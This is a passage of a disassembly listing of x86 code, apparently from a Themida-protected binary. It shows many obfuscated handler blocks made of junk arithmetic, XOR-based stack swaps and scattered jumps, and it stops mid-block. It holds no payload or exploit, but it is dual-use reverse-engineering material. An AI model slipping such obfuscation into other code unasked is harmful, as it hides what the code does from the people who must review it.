; ---------------------------------------------------------------------------
loc_56EBDF: ; CODE XREF: sub_562ABA+7FA8j
pop edx
dec edi
shr edi, 5
sub edi, 1
sub edi, 0F9E929BFh
push edi
sub [esp+12h+var_12], 38F6E86h
pop eax
push edi
mov edi, 5A52605Eh
and edi, 5F0376Eh
add edi, 4D28368Bh
sub edi, 49E8E853h
add eax, edi
jmp loc_570337
; ---------------------------------------------------------------------------
loc_56EC18: ; CODE XREF: sub_562ABA+E467j
add esp, 4
push edx
push 7825h
mov [esp+16h+var_16], eax
mov eax, 4
mov edx, eax
mov eax, [esp+16h+var_16]
add esp, 4
add ebp, 15AE5318h
add ebp, edx
sub ebp, 15AE5318h
mov edx, [esp+12h+var_12]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp+16h+var_16]
xor [esp+16h+var_16], ebp
xor ebp, [esp+16h+var_16]
pop esp
jmp loc_5724E5
; ---------------------------------------------------------------------------
loc_56EC5D: ; CODE XREF: sub_562ABA+2407j
push edx
jmp loc_56DF2E
; ---------------------------------------------------------------------------
loc_56EC63: ; CODE XREF: sub_562ABA+2625j
pop eax
pop edx
xor bh, 2Bh
jmp loc_55E8B9
; ---------------------------------------------------------------------------
loc_56EC6D: ; CODE XREF: sub_562ABA+6341j
pop ecx
jmp loc_562E4B
; ---------------------------------------------------------------------------
loc_56EC73: ; CODE XREF: sub_562ABA+5957j
sub ebx, 33AE6F0Fh
jmp loc_56671C
; ---------------------------------------------------------------------------
loc_56EC7E: ; CODE XREF: sub_562ABA-B60j
pop esi
shl edi, 4
jmp loc_56E3D3
; ---------------------------------------------------------------------------
loc_56EC87: ; CODE XREF: sub_562ABA+381Fj
push 5AADh
mov [esp+2Ah+var_2C+2], ebp
push ebx
jmp loc_566315
; ---------------------------------------------------------------------------
loc_56EC95: ; CODE XREF: sub_562ABA+217Fj
pop eax
add esp, 4
add eax, esi
pop esi
add ebx, eax
pop eax
add ebx, esi
push ebp
push ecx
mov ecx, 0CEA6D32h
sub ecx, 2CA20635h
sub ecx, 0FFFFFFFFh
not ecx
jmp loc_564A78
; ---------------------------------------------------------------------------
loc_56ECB8: ; CODE XREF: sub_562ABA+D1Bj
pop esi
xor edx, [esp+1Ah+var_1A]
xor [esp+1Ah+var_1A], edx
xor edx, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
jmp loc_56F7C2
; ---------------------------------------------------------------------------
loc_56ECCA: ; CODE XREF: sub_562ABA-429Dj
sub eax, ecx
pop ecx
push [esp+16h+var_16]
pop ecx
jmp loc_56899F
; ---------------------------------------------------------------------------
loc_56ECD6: ; CODE XREF: sub_562ABA-3B58j
mov ebp, [esp+0]
add esp, 4
push 17CAh
mov [esp+0], edi
mov edi, esp
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop [esp+32h+var_32]
pop esp
push ebp
jmp loc_56BB66
; ---------------------------------------------------------------------------
loc_56ED05: ; CODE XREF: sub_562ABA+CA3Cj
mov [esp+0], eax
mov eax, esp
add eax, 4
jmp loc_57227F
; ---------------------------------------------------------------------------
loc_56ED14: ; CODE XREF: sub_562ABA+CCA5j
add ebp, ebx
pop ebx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+0]
pop esp
mov [esp+2Ah+var_2C+2], ebp
push [esp+2Ah+var_28+2]
mov ebp, [esp+0]
add esp, 4
pop [esp+2Ah+var_2C+2]
mov esp, [esp+26h+var_28+2]
mov ax, word ptr [esp+26h+var_28+2]
push edi
sub esp, 4
jmp loc_563750
; ---------------------------------------------------------------------------
loc_56ED4A: ; CODE XREF: sub_562ABA-241Ej
sub esp, 4
mov [esp-8+arg_4], ebx
mov bl, 80h
sub cl, bl
pop ebx
sub bl, 52h
push ecx
mov cl, 0B2h
jmp loc_562BFF
; ---------------------------------------------------------------------------
loc_56ED60: ; CODE XREF: sub_562ABA+1639j
sub esp, 4
mov [esp+16h+var_16], ecx
push 3C62h
mov [esp+1Ah+var_1A], esi
jmp loc_5640C3
; ---------------------------------------------------------------------------
loc_56ED76: ; CODE XREF: sub_562ABA-119Ej
mov ecx, 6C452E19h
or ecx, 7D3D7F16h
jmp loc_562E63
; ---------------------------------------------------------------------------
loc_56ED86: ; CODE XREF: sub_562ABA-41EEj
sub bl, 9Bh
add bl, ch
add bl, 9Bh
jmp loc_569D34
; ---------------------------------------------------------------------------
loc_56ED93: ; CODE XREF: sub_562ABA-141j
mov edx, 61184525h
and edx, 682850FAh
inc edx
or edx, 6C733584h
push ebp
mov ebp, 717664D7h
and edx, ebp
pop ebp
jmp loc_5609D6
; ---------------------------------------------------------------------------
loc_56EDB3: ; CODE XREF: sub_562ABA+67F4j
push esp
pop ebp
add ebp, 4
sub ebp, 4
xor ebp, [esp+0]
xor [esp+0], ebp
jmp loc_5706FA
; ---------------------------------------------------------------------------
loc_56EDC9: ; CODE XREF: sub_562ABA+861Bj
push ebx
mov ebx, 36CE05DBh
jmp loc_56DFB3
; ---------------------------------------------------------------------------
loc_56EDD4: ; CODE XREF: sub_562ABA+941Ej
mov ebp, [esp+0]
add esp, 4
pop esi
sub ebx, 75574E6h
sub ebx, eax
add ebx, 75574E6h
push edi
mov edi, 12AA648Fh
jmp loc_56A6ED
; ---------------------------------------------------------------------------
loc_56EDF7: ; CODE XREF: sub_562ABA+F839j
xchg edx, [esp+2Ah+var_2C+2]
pop esp
push 2022h
mov [esp+2Ah+var_2C+2], ebx
mov ebx, 4
add eax, 18AF5F19h
add eax, ebx
sub eax, 18AF5F19h
push [esp+2Ah+var_2C+2]
pop ebx
push eax
mov eax, esp
add eax, 4
push 470Eh
mov [esp+32h+var_32], ebx
mov ebx, 4
jmp loc_56658E
; ---------------------------------------------------------------------------
loc_56EE32: ; CODE XREF: sub_562ABA+1AF5j
sub esi, 1
sub esi, 0FD98604Fh
xor eax, esi
mov esi, [esp+0]
jmp loc_5693A4
; ---------------------------------------------------------------------------
loc_56EE45: ; CODE XREF: sub_562ABA+A9C3j
pop ecx
add ebx, edx
pop edx
add ebx, 4
sub esp, 4
mov [esp+20h+var_22+2], ebx
push [esp+20h+var_1E+2]
jmp loc_5608FB
; ---------------------------------------------------------------------------
loc_56EE5B: ; CODE XREF: sub_562ABA+3028j
mov al, 55h
mov bh, al
mov eax, [esp+54h+var_56+2]
add esp, 4
jmp loc_56C589
; ---------------------------------------------------------------------------
loc_56EE6A: ; CODE XREF: sub_562ABA+B0E9j
add ebp, 4
jmp loc_56D00A
; ---------------------------------------------------------------------------
loc_56EE75: ; CODE XREF: sub_562ABA+5701j
push [esp-8+arg_4]
pop ebp
sub esp, 4
jmp loc_56C97A
; ---------------------------------------------------------------------------
loc_56EE81: ; CODE XREF: sub_562ABA-3CDj
push [esp+0Ah+var_C+2]
pop edi
add esp, 4
xor ebx, [esp+6+var_8+2]
xor [esp+6+var_8+2], ebx
xor ebx, [esp+6+var_8+2]
jmp loc_56BDD6
; ---------------------------------------------------------------------------
loc_56EE96: ; CODE XREF: sub_562ABA-535j
add esp, 2
add al, bl
push ecx
mov cl, 0C6h
dec cl
not cl
and cl, 0D1h
sub cl, 49h
inc cl
add cl, 2Fh
add al, 0D1h
sub al, cl
push 0CB9h
mov [esp+32h+var_32], ebx
mov bl, 40h
shl bl, 1
not bl
or bl, 0C3h
and bl, 0BCh
jmp loc_569E78
; ---------------------------------------------------------------------------
loc_56EECA: ; CODE XREF: sub_562ABA+CA51j
pop ecx
jmp loc_56AC3A
; ---------------------------------------------------------------------------
loc_56EED0: ; CODE XREF: sub_562ABA+B398j
push [esp+14h+var_16+2]
jmp loc_56D7BE
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp+14h+var_16+2], eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56EEE6: ; CODE XREF: sub_562ABA+2E49j
mov ebx, [esp+46h+var_46]
jmp loc_56A5B0
; ---------------------------------------------------------------------------
loc_56EEEE: ; CODE XREF: sub_562ABA+C809j
mov esi, [esp+46h+var_46]
add esp, 4
jmp loc_564737
; ---------------------------------------------------------------------------
loc_56EEFC: ; CODE XREF: sub_562ABA+C0BEj
push ecx
jmp loc_562AA3
; ---------------------------------------------------------------------------
loc_56EF02: ; CODE XREF: sub_562ABA+5C26j
push 3870h
mov [esp+6+var_8+2], esi
mov esi, 1049033Ch
xor esi, 10490338h
add eax, 27ED762Bh
add eax, esi
sub eax, 27ED762Bh
pop esi
push edi
push 4
pop edi
add eax, 347A5096h
add eax, edi
sub eax, 347A5096h
pop edi
xchg eax, [esp+2+var_4+2]
mov esp, [esp+2+var_4+2]
push ecx
mov ecx, 4
sub edx, ecx
pop ecx
xor edx, [esp+2+var_4+2]
xor [esp+2+var_4+2], edx
xor edx, [esp+2+var_4+2]
jmp loc_5643D8
; ---------------------------------------------------------------------------
loc_56EF53: ; CODE XREF: sub_562ABA+3F32j
add ebx, ebp
pop ebp
xor ebx, [esp+28h+var_28]
xor [esp+28h+var_28], ebx
xor ebx, [esp+28h+var_28]
mov esp, [esp+28h+var_28]
jmp loc_566F1E
; ---------------------------------------------------------------------------
loc_56EF67: ; DATA XREF: Themida_:0055DDC8o
push [esp+28h+var_28]
push [esp+2Ch+var_2C]
mov eax, [esp+30h+var_32+2]
add esp, 4
push edx
mov edx, esp
add edx, 4
push 6A02h
mov [esp+34h+var_36+2], ebx
push edi
push 741B61BBh
pop edi
neg edi
neg edi
dec edi
jmp loc_564ED0
; ---------------------------------------------------------------------------
loc_56EF95: ; CODE XREF: sub_562ABA-2169j
push esp
mov edx, [esp+3Eh+var_3E]
add esp, 4
add edx, 4
push eax
mov eax, 4
jmp loc_56336D
; ---------------------------------------------------------------------------
loc_56EFB0: ; CODE XREF: sub_562ABA+6270j
push 5E14h
mov [esp+12h+var_12], edx
push ecx
push edx
mov edx, 52B04DC8h
jmp loc_564501
; ---------------------------------------------------------------------------
loc_56EFC4: ; CODE XREF: sub_562ABA+1B70j
pop ebp
add esp, 4
push esi
mov esi, 6FD826D9h
and ebx, esi
pop esi
and ebx, 0F542CCBh
jmp loc_56D7A5
; ---------------------------------------------------------------------------
loc_56EFDC: ; CODE XREF: sub_562ABA+869Dj
and ecx, eax
pop eax
shr ecx, 2
jmp loc_562A96
; ---------------------------------------------------------------------------
loc_56EFE7: ; CODE XREF: sub_562ABA+414Bj
xor ebx, ebp
push dword ptr [esp+0]
pop ebp
add esp, 4
sub eax, 31FF1F46h
add eax, ebx
add eax, 31FF1F46h
mov ebx, [esp+2Ah+var_2C+2]
add esp, 4
push ebp
jmp loc_571180
; ---------------------------------------------------------------------------
loc_56F00B: ; CODE XREF: sub_562ABA-1440j
mov esp, [esp+0]
pop ecx
jmp loc_55E482
; ---------------------------------------------------------------------------
loc_56F014: ; CODE XREF: sub_562ABA+BB17j
mov dx, word ptr [esp+3Ah+var_3A]
add esp, 2
mov bl, ah
pop eax
jmp loc_5648D1
; ---------------------------------------------------------------------------
loc_56F026: ; CODE XREF: sub_562ABA+E084j
mov ebp, 0CDB624D9h
add ebp, edx
mov edx, [esp+32h+var_32]
add esp, 4
jmp loc_55EDA6
; ---------------------------------------------------------------------------
loc_56F03B: ; CODE XREF: sub_562ABA+70BFj
mov ebp, edx
mov edx, [esp+2+var_4+2]
add esp, 4
sub edi, 720E5A59h
jmp loc_560085
; ---------------------------------------------------------------------------
mov cx, [esp+0]
jmp loc_572899
; ---------------------------------------------------------------------------
loc_56F05A: ; CODE XREF: sub_562ABA+5E55j
add ebx, 7FC2171Ah
add ebp, ebx
pop ebx
sub eax, ebp
pop ebp
add eax, edi
add eax, 35A23E12h
push dword ptr [eax]
push ecx
mov ecx, 2FC85DDDh
xor [esp+3Ch+var_3A+2], ecx
pop ecx
mov ecx, [esp+38h+var_3A+2]
push ebp
mov ebp, esp
push eax
mov eax, 61831991h
and eax, 15623239h
shl eax, 5
sub eax, 2042021Ch
add ebp, eax
pop eax
push edx
mov edx, 4
add ebp, 591804F6h
sub ebp, 1C5E4F2Dh
add ebp, edx
add ebp, 1C5E4F2Dh
sub ebp, 591804F6h
mov edx, [esp+40h+var_42+2]
add esp, 4
xchg ebp, [esp+3Ch+var_3E+2]
pop esp
xor ecx, 2FC85DDDh
jmp loc_56E3D9
; ---------------------------------------------------------------------------
loc_56F0CE: ; CODE XREF: sub_562ABA+57AFj
mov eax, 4
add edi, eax
pop eax
push edx
mov edx, 0BD90646h
jmp loc_570B15
; ---------------------------------------------------------------------------
loc_56F0E1: ; CODE XREF: sub_562ABA+505Bj
mov ecx, 4
mov esi, ecx
pop ecx
jmp loc_5628FF
; ---------------------------------------------------------------------------
loc_56F0EE: ; CODE XREF: sub_562ABA+863Fj
add ebp, 4
push 217Bh
mov [esp+36h+var_36], ecx
sub esp, 4
mov [esp+3Ah+var_3A], eax
push 626E181Eh
jmp loc_5633F3
; ---------------------------------------------------------------------------
loc_56F10F: ; CODE XREF: sub_562ABA+4273j
push eax
push 0FFFBBBE2h
pop eax
xor ebp, eax
jmp loc_568421
; ---------------------------------------------------------------------------
loc_56F11D: ; CODE XREF: sub_55FCA5+21A9j
add bx, si
jmp loc_564F3B
; ---------------------------------------------------------------------------
loc_56F125: ; CODE XREF: sub_562ABA+7A29j
mov ax, word ptr [esp-8+arg_4]
jmp loc_55F489
; ---------------------------------------------------------------------------
loc_56F12E: ; CODE XREF: sub_562ABA+5100j
push [esp+32h+var_32]
mov eax, [esp+36h+var_36]
add esp, 4
push 301Ah
mov [esp+36h+var_36], edi
jmp loc_56D516
; ---------------------------------------------------------------------------
loc_56F144: ; CODE XREF: sub_562ABA+174Bj
mov edi, ebp
pop ebp
add edx, edi
pop edi
xchg edx, [esp+6+var_8+2]
pop esp
jmp loc_562AB5
; ---------------------------------------------------------------------------
loc_56F153: ; CODE XREF: sub_562ABA+9B1Cj
pop [esp+1Ah+var_1A]
mov esp, [esp+16h+var_16]
jmp loc_57089A
; ---------------------------------------------------------------------------
loc_56F15E: ; CODE XREF: sub_562ABA+986j
add esp, 4
jmp loc_56DFC1
; ---------------------------------------------------------------------------
loc_56F166: ; CODE XREF: sub_562ABA+C7ABj
mov esi, [esp+0]
jmp loc_56D849
; ---------------------------------------------------------------------------
loc_56F16E: ; CODE XREF: sub_562ABA+BA6Fj
shl edi, 5
push edx
jmp loc_5600B5
; ---------------------------------------------------------------------------
xor byte ptr [esp+16h+var_16], bh
xor bh, byte ptr [esp+16h+var_16]
xor byte ptr [esp+16h+var_16], bh
push eax
mov ah, ch
sub esp, 4
mov [esp+1Eh+var_1E], eax
mov ah, bh
mov ch, ah
jmp loc_567AC9
; ---------------------------------------------------------------------------
loc_56F195: ; CODE XREF: sub_562ABA+9564j
push 3F8Bh
mov [esp+1Ah+var_1A], eax
mov ax, 4AE3h
mov si, ax
jmp loc_56F8E6
; ---------------------------------------------------------------------------
loc_56F1A9: ; CODE XREF: sub_562ABA-3616j
sub esp, 4
mov [esp+30h+var_32+2], ebp
push esp
mov ebp, [esp+34h+var_36+2]
add esp, 4
add ebp, 4
add ebp, 2
xchg ebp, [esp+30h+var_32+2]
pop esp
push bx
mov bh, 0B5h
xor ah, bh
pop bx
jmp loc_562BB4
; ---------------------------------------------------------------------------
loc_56F1D0: ; CODE XREF: sub_562ABA+8123j
pop ecx
jmp loc_5729C9
; ---------------------------------------------------------------------------
loc_56F1D6: ; CODE XREF: sub_562ABA+F6F1j
add esp, 4
sub esi, 7A0F2456h
jmp loc_5691B9
; ---------------------------------------------------------------------------
loc_56F1E7: ; CODE XREF: sub_562ABA+74CBj
mov eax, ebp
pop ebp
jmp loc_55E6B7
; ---------------------------------------------------------------------------
loc_56F1EF: ; CODE XREF: sub_562ABA+53B1j
sub edx, eax
add edx, 7F0C5541h
pop eax
and eax, edx
jmp loc_570FE3
; ---------------------------------------------------------------------------
loc_56F1FF: ; CODE XREF: sub_562ABA+3C17j
push 4D6Fh
mov [esp-6+arg_0+2], ecx
mov ecx, 2EB84698h
shr ecx, 3
push 24A3h
mov [esp+0], eax
push ecx
mov ecx, 22F97EB2h
mov eax, ecx
mov ecx, [esp+2+var_4+2]
add esp, 4
xor eax, 1FE3D08h
or ecx, eax
pop eax
jmp loc_560049
; ---------------------------------------------------------------------------
loc_56F232: ; CODE XREF: sub_562ABA-4441j
push ebp
pop ecx
pop ebp
neg ecx
shr ecx, 2
inc ecx
add ecx, 0C94BC661h
sub edi, 3E425A1Eh
add edi, ecx
jmp loc_55ED0C
; ---------------------------------------------------------------------------
loc_56F24E: ; CODE XREF: sub_562ABA+BC4Cj
lea eax, [edi+eax*4]
push 0AF5h
mov [esp+0Ah+var_C+2], eax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56F25E: ; CODE XREF: sub_562ABA-37B5j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56F263: ; CODE XREF: sub_562ABA+5CF5j
add eax, esi
jmp loc_56F166
; ---------------------------------------------------------------------------
loc_56F26A: ; CODE XREF: sub_562ABA+818j
add al, 0D1h
sub al, 0F7h
mov dx, word ptr [esp+2Ah+var_2C+2]
jmp loc_569524
; ---------------------------------------------------------------------------
loc_56F277: ; CODE XREF: sub_562ABA+5A54j
add edi, 4
add edi, 4
jmp loc_570866
; ---------------------------------------------------------------------------
loc_56F288: ; CODE XREF: sub_562ABA-B85j
pop ebx
jmp loc_5642BC
; ---------------------------------------------------------------------------
loc_56F28E: ; CODE XREF: sub_562ABA+E04Fj
add esp, 2
xchg si, [esp+0]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56F29A: ; CODE XREF: sub_562ABA-2E5Dj
mov [esp+12h+var_12], ecx
sub esp, 4
mov [esp+16h+var_16], ebx
push ecx
mov ch, 0D2h
mov bl, 0F6h
sub bl, ch
jmp loc_56261B
; ---------------------------------------------------------------------------
loc_56F2AF: ; CODE XREF: sub_562ABA+5CDEj
sub esi, 14D0B626h
add ebp, 7F80165Ch
add ebp, esi
sub ebp, 7F80165Ch
jmp loc_56EEEE
; ---------------------------------------------------------------------------
loc_56F2C8: ; CODE XREF: sub_562ABA+6E18j
add dword ptr [esp+0], 528A17E2h
jmp loc_5664EE
; ---------------------------------------------------------------------------
loc_56F2D4: ; CODE XREF: sub_562ABA-34B8j
mov ecx, 0BEB28E02h
sub eax, ecx
pop ecx
mov esi, eax
pop eax
add edi, esi
pop esi
xchg edi, [esp-24h+arg_20]
mov esp, [esp-24h+arg_20]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56F2ED: ; CODE XREF: sub_562ABA+6C80j
mov edx, [esp+0Ah+var_C+2]
jmp loc_564AA4
; ---------------------------------------------------------------------------
loc_56F2F5: ; CODE XREF: sub_562ABA+3A48j
neg edi
xor edi, 0F244E754h
jmp loc_56D67A
; ---------------------------------------------------------------------------
loc_56F302: ; CODE XREF: sub_562ABA+2508j
add eax, 38D83991h
push [esp+16h+var_16]
pop ebx
add esp, 4
push ecx
push ebp
mov ebp, 19DC0B73h
mov ecx, 5F8059ECh
xor ecx, ebp
pop ebp
jmp loc_56CF43
; ---------------------------------------------------------------------------
loc_56F325: ; CODE XREF: sub_562ABA+4AEBj
mov ebp, [esp+2+var_4+2]
add esp, 4
add eax, edi
pop edi
push 4CF1h
jmp loc_55E182
; ---------------------------------------------------------------------------
loc_56F338: ; CODE XREF: sub_562ABA+3C29j
mov dl, ah
jmp loc_55FAE4
; ---------------------------------------------------------------------------
loc_56F33F: ; CODE XREF: sub_562ABA-183Dj
add esp, 4
jmp loc_55FE0E
; ---------------------------------------------------------------------------
loc_56F34A: ; CODE XREF: sub_562ABA+2FDCj
add al, cl
add al, 0B1h
pop cx
sub al, 5
jmp loc_562AD5
; ---------------------------------------------------------------------------
loc_56F357: ; CODE XREF: sub_562ABA+463Fj
mov eax, [esp+0]
add esp, 4
and eax, 3C6E2824h
shr eax, 3
jmp loc_56B643
; ---------------------------------------------------------------------------
loc_56F36A: ; CODE XREF: sub_562ABA-2230j
xchg ebx, [esp+46h+var_46]
pop esp
mov [esp+42h+var_42], eax
mov eax, 4
sub ebx, 5FD17EFEh
add ebx, eax
jmp loc_568CB7
; ---------------------------------------------------------------------------
loc_56F383: ; CODE XREF: sub_562ABA+EEC3j
push edi
mov edi, 34F952E1h
push ebp
mov ebp, 6DB91F7Dh
sub edi, ebp
pop ebp
or edi, 600E0F0Fh
sub edi, 0E74E3F6Bh
add ebp, edi
pop edi
jmp loc_566345
; ---------------------------------------------------------------------------
loc_56F3A6: ; CODE XREF: sub_55FCA5+1E8j
pop ebp
jmp loc_56CB35
; ---------------------------------------------------------------------------
loc_56F3AC: ; CODE XREF: sub_562ABA+5EFBj
shr eax, 3
xor eax, 29E94C00h
xor eax, 57AFE7F7h
sub esi, eax
jmp loc_5663E8
; ---------------------------------------------------------------------------
loc_56F3C0: ; CODE XREF: sub_562ABA+A935j
add edi, 4
add edi, 4
xchg edi, [esp+1Eh+var_1E]
pop esp
push edi
mov edi, 5B0D1595h
jmp loc_56E086
; ---------------------------------------------------------------------------
loc_56F3DB: ; CODE XREF: sub_562ABA+7FB7j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+1Ah+var_1A]
pop esp
jmp loc_56A251
; ---------------------------------------------------------------------------
loc_56F3F0: ; CODE XREF: sub_562ABA+14CFj
mov esi, 4
add edi, esi
mov esi, [esp+2Ah+var_2C+2]
add esp, 4
xchg edi, [esp+26h+var_28+2]
pop esp
xor bl, al
jmp loc_57135C
; ---------------------------------------------------------------------------
loc_56F408: ; CODE XREF: sub_562ABA+F33Cj
or ebx, 3FAC3D3Ah
jmp loc_55E3D3
; ---------------------------------------------------------------------------
loc_56F413: ; CODE XREF: sub_562ABA+1BE5j
xor edi, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], edi
xor edi, [esp+26h+var_28+2]
jmp loc_56A96D
; ---------------------------------------------------------------------------
loc_56F421: ; CODE XREF: sub_562ABA+6541j
not edx
jmp loc_5605CA
; ---------------------------------------------------------------------------
loc_56F428: ; CODE XREF: sub_562ABA-1CA8j
add dl, bl
mov ebx, [esp+42h+var_42]
add esp, 4
not dl
add dl, 0FFh
push ax
push ecx
mov ch, 4Eh
xor ch, 94h
sub ch, 60h
mov ah, ch
pop ecx
jmp loc_56E22E
; ---------------------------------------------------------------------------
loc_56F448: ; CODE XREF: sub_562ABA-EEBj
add eax, 1D77685Fh
add ecx, 604A263Dh
add ecx, eax
push esi
mov esi, esp
jmp loc_563863
; ---------------------------------------------------------------------------
loc_56F45D: ; CODE XREF: sub_562ABA+B4EAj
push edi
mov edi, 78966368h
push edx
push 62C7h
mov [esp+1Eh+var_1E], ecx
mov ecx, 6C5B1536h
not ecx
jmp loc_566F27
; ---------------------------------------------------------------------------
loc_56F478: ; CODE XREF: sub_562ABA+E2F6j
xchg edx, [esp+1Eh+var_1E]
jmp loc_55EA1B
; ---------------------------------------------------------------------------
loc_56F480: ; CODE XREF: sub_562ABA+238Cj
add [esp+26h+var_22], 3C0627D4h
push eax
jmp loc_564AE3
; ---------------------------------------------------------------------------
loc_56F48E: ; CODE XREF: sub_562ABA+2D36j
push esi
pop edi
pop esi
xchg edi, [esp+1Ah+var_1A]
jmp loc_56AD61
; ---------------------------------------------------------------------------
loc_56F499: ; CODE XREF: sub_562ABA+E66j
push [esp+34h+var_36+2]
pop edx
add esp, 4
shl esi, 1
dec esi
add esi, 1
xor esi, 6AFD3CDh
xor eax, esi
push [esp+30h+var_32+2]
pop esi
add esp, 4
push edx
jmp loc_5659CF
; ---------------------------------------------------------------------------
loc_56F4BE: ; CODE XREF: sub_562ABA-1991j
xor edi, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], edi
xor edi, [esp+26h+var_28+2]
mov esp, [esp+26h+var_28+2]
add edi, 4
add edi, 2
xor edi, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], edi
xor edi, [esp+26h+var_28+2]
jmp loc_569663
; ---------------------------------------------------------------------------
loc_56F4E4: ; CODE XREF: sub_562ABA+8116j
add esp, 4
add ebx, 4
sub esp, 4
jmp loc_56ED05
; ---------------------------------------------------------------------------
loc_56F4FB: ; CODE XREF: sub_562ABA+6929j
push edi
push ecx
push 4E471E98h
pop ecx
sub ecx, 0DC7ECA75h
mov edi, ecx
jmp loc_56EECA
; ---------------------------------------------------------------------------
loc_56F510: ; CODE XREF: sub_562ABA+51F2j
or ebp, 7305DACh
push eax
mov eax, 0B804A048h
add ebp, eax
jmp loc_55E822
; ---------------------------------------------------------------------------
lodsb
sub al, 13h
jmp loc_570741
; ---------------------------------------------------------------------------
loc_56F52B: ; CODE XREF: sub_562ABA+BC1Fj
pop edi
pop [esp+3Ah+var_3A]
pop esp
jmp loc_5717DE
; ---------------------------------------------------------------------------
loc_56F535: ; CODE XREF: sub_562ABA+637Bj
push ebx
jmp loc_55E299
; ---------------------------------------------------------------------------
loc_56F53B: ; CODE XREF: sub_562ABA+72D9j
sub ebx, eax
jmp loc_571345
; ---------------------------------------------------------------------------
loc_56F542: ; CODE XREF: sub_562ABA-1DCDj
add ebp, ecx
pop ecx
pop ebx
xchg ebp, [esp-0Eh+arg_8+2]
jmp loc_567F82
; ---------------------------------------------------------------------------
loc_56F54E: ; CODE XREF: sub_562ABA-E52j
add edi, edx
mov edx, [esp+36h+var_36]
jmp loc_57016A
; ---------------------------------------------------------------------------
loc_56F558: ; CODE XREF: sub_572A4F+6j
mov [esp+36h+var_36], edi
push 4173h
mov [esp+3Ah+var_3A], esp
add [esp+3Ah+var_3A], 4
mov edi, [esp+3Ah+var_3A]
add esp, 4
jmp loc_563C90
; ---------------------------------------------------------------------------
loc_56F575: ; CODE XREF: sub_562ABA+DE99j
push edi
jmp loc_55E44C
; ---------------------------------------------------------------------------
loc_56F57B: ; CODE XREF: sub_562ABA+899Fj
add esi, 0FFCFF778h
sub eax, esi
pop esi
sub eax, 0CB94A2B5h
add ebp, eax
mov eax, [esp+56h+var_56]
add esp, 4
add ebp, 2
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+56h+var_56]
pop esp
mov [esp+52h+var_52], ebp
push [esp+52h+var_4E]
jmp loc_55E2F3
; ---------------------------------------------------------------------------
loc_56F5B3: ; CODE XREF: sub_562ABA+140Aj
sub ax, si
pop esi
sub ax, 1BEEh
jmp loc_56C746
; ---------------------------------------------------------------------------
loc_56F5C0: ; CODE XREF: sub_562ABA+10143j
xor ecx, [esp+12h+var_12]
xor [esp+12h+var_12], ecx
xor ecx, [esp+12h+var_12]
jmp loc_56B89F
; ---------------------------------------------------------------------------
loc_56F5CE: ; CODE XREF: sub_562ABA+F50Fj
xchg edi, [esp+12h+var_12]
pop esp
add esi, 4
push ecx
jmp loc_56FDAF
; ---------------------------------------------------------------------------
loc_56F5DE: ; CODE XREF: sub_562ABA+E837j
mov esp, [esp+12h+var_12]
bt [esp+12h+var_12], eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56F5EB: ; CODE XREF: sub_562ABA+981Bj
xor ebx, ebp
pop ebp
push ecx
mov ecx, 328D1442h
jmp loc_56C526
; ---------------------------------------------------------------------------
loc_56F5F9: ; CODE XREF: sub_562ABA+B168j
pop esi
pop [esp+1Ah+var_1A]
pop esp
mov [esp+12h+var_12], ebx
push esp
pop ebx
push 641Dh
mov [esp+16h+var_16], esi
mov esi, 55372701h
and esi, 20AE5FB7h
sub esi, 2606FDh
push ebp
mov ebp, 7B46412Ah
not ebp
and ebp, 36217705h
jmp loc_56DC98
; ---------------------------------------------------------------------------
loc_56F62F: ; CODE XREF: sub_562ABA+44Dj
mov ebx, [esp+18h+var_1A+2]
jmp loc_566528
; ---------------------------------------------------------------------------
loc_56F637: ; CODE XREF: sub_562ABA+70E0j
push 2E84h
jmp loc_569276
; ---------------------------------------------------------------------------
loc_56F641: ; CODE XREF: sub_562ABA+FE5Aj
mov edx, esp
add edx, 4
jmp loc_562F77
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_5669E1
; ---------------------------------------------------------------------------
loc_56F656: ; CODE XREF: sub_5627AB+3j
mov edi, [esp+16h+var_16]
add esp, 4
shr ebp, 6
push ecx
mov ecx, 7499D399h
jmp loc_57204A
; ---------------------------------------------------------------------------
loc_56F66A: ; CODE XREF: sub_562ABA+E2E8j
sub esp, 4
jmp loc_56264B
; ---------------------------------------------------------------------------
loc_56F672: ; CODE XREF: sub_562ABA+8BCAj
mov [esp+3Eh+var_3E], ecx
mov ecx, 2F236CD8h
push 577Dh
mov [esp+42h+var_42], ebp
mov ebp, 37A3E1Bh
xor ecx, ebp
pop ebp
and ecx, 154726DDh
jmp loc_56D21F
; ---------------------------------------------------------------------------
loc_56F695: ; CODE XREF: sub_562ABA+6DE1j
not esi
shl esi, 1
and esi, 345259Eh
jmp loc_56D338
; ---------------------------------------------------------------------------
loc_56F6A4: ; CODE XREF: sub_562ABA+A85j
pop ebx
sub eax, ebp
mov ebp, [esp+36h+var_36]
add esp, 4
add eax, 691C3C5Ch
jmp loc_566B71
; ---------------------------------------------------------------------------
loc_56F6B7: ; CODE XREF: sub_562ABA-21C4j
push ebp
mov ebp, 4
jmp loc_561D7C
; ---------------------------------------------------------------------------
loc_56F6C2: ; CODE XREF: sub_562ABA-2F9j
mov dl, cl
mov ecx, [esp+22h+var_22]
add esp, 4
pop ebx
sub al, dl
pop dx
xor bl, al
jmp loc_56AAF9
; ---------------------------------------------------------------------------
loc_56F6D6: ; CODE XREF: sub_562ABA+7517j
mov eax, 137260E8h
push eax
xchg esi, [esp+0]
not esi
push esi
jmp loc_5670F1
; ---------------------------------------------------------------------------
loc_56F6E7: ; CODE XREF: sub_562ABA+29D4j
xchg ebx, [esp+6+var_8+2]
